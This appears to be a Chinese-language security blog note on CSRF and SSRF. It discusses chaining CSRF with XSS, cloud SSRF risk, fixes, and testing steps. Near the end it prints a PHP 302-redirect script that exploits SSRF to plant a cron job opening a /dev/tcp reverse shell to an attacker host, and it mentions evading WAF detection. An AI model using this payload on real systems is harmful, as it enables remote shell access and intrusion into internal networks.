本文的預計目標是寫一寫SSRF和CSRF
因為CSRF整體內容較少，所以就混進來了！

CSRF部分

CSRF個人認為比較有威脅的就要數後臺頁面CSRF或者XSRF了。
CSRF本身的利用難點應該是如何讓目標同時開啟攻擊與受害兩個頁面，並且攻擊有效目標。
目前我還沒有用這種方式成功利用過，所以對我來說是處於理論可實現部分。
XSRF危害要大一些，典型的一加一大於二。
可以利用CSRF觸發xss，也可以利用XSS觸發CSRF，利用的有效性較高，互動性小，並且某些情況下可以形成靜默攻擊，也不容易被waf阻攔（前提是xssbypass成功先。）
常見的csrf的驗證與繞過就說對於伺服器是否存在相應驗證進行一個嘗試就好了，是一個相對簡單的漏洞。
由於一般危害也屬於低危，所以需要聯合利用。
CSRF部分就到這裡了，個人關注CSRF並不是很多，所以目前止步於此。

SSRF
ssrf可能是接下來幾年熱門度灰有所提高的一種漏洞，起碼在HW等專案中利用的頻率和危害應當會顯著提高。
原因就是目前眾多企業與集團的建設越發向雲遷移，而云上若是業務或主機隔離沒有非常完善的話，常規的ssrf會造成嚴重危害，基本上所有的ssrf威脅都會提高一個等級。
之後有時間我會專門做一些關於waf與流量檢測在何種使用頻率下對於ssrf的檢測效率最低，也就說總體流量，報錯率與攻擊頻率隱藏程度的關係，降低我們現在的以高爆發高回覆形式的資料獲取帶來的弊端，當然這只是一個思考方向，因為進行內網探測時候動作比較大，提高危害說主要目的。
首先說修復建議，修復建議主要是亮點，一是將服務的請求介面放置在外網區域並且進行隔斷，防止出現漏洞時候能夠進行跳板攻擊。
二是建立白名單機制，只允許對指定的資源進行請求，但是這個和業務相關，不一定可以採納。
三是最底層建議就是將利用協議全部遮蔽，但是黑名單機制永遠存在風險，這是問題點。

查詢方式就是找到進行資源請求的點，然後將其資源請求的目標換成一個可控目標，確定其是否存在漏洞，然後針對性進行協議檢測，得到是否可以進一步利用。
進一步利用之後，就是getshell，這個和開放的協議有關。
再之後便是內網漫遊.jpg
如果不是多種漏洞結合的情況，常規的步驟是固定的，一般會搭配302跳轉，建議自建伺服器進行測試，可以有效提高檢測效率。
當然前提是外網勘測。
也可以利用dnslog。

以下是常用的固定指令碼。

302頁面
<?php
$ip = $_GET['ip'];
$port = $_GET['port'];
$bhost = $_GET['bhost'];
$bport = $_GET['bport'];
$scheme = $_GET['s'];
header("Location: $scheme://$ip:$port/set:0:\"\\x0a\\x0a*/1\\x20*\\x20*\\x20*\\x20*\\x20/bin/bash\\x20-i\\x20>\\x26\\x20/dev/tcp/{$bhost}/{$bport}\\x200>\\x261\\x0a\\x0a\\x0a\"");
?>
顯然重點就是改一下header用來改變攻擊點。

指令碼先不貼了，指令碼分為檢測指令碼和利用指令碼，多數是不用協議的fuzzing，可以寫一個模板然後改，但是我本身用工具多一些，自己也沒有寫233，確實寫的也不全。（ssrfmap蠻好用的，可以試試，ssrfx也有被推薦過）

csrf與ssrf屬於偏低危漏洞範疇，但是所有漏洞都有通向getshell的一個臺階。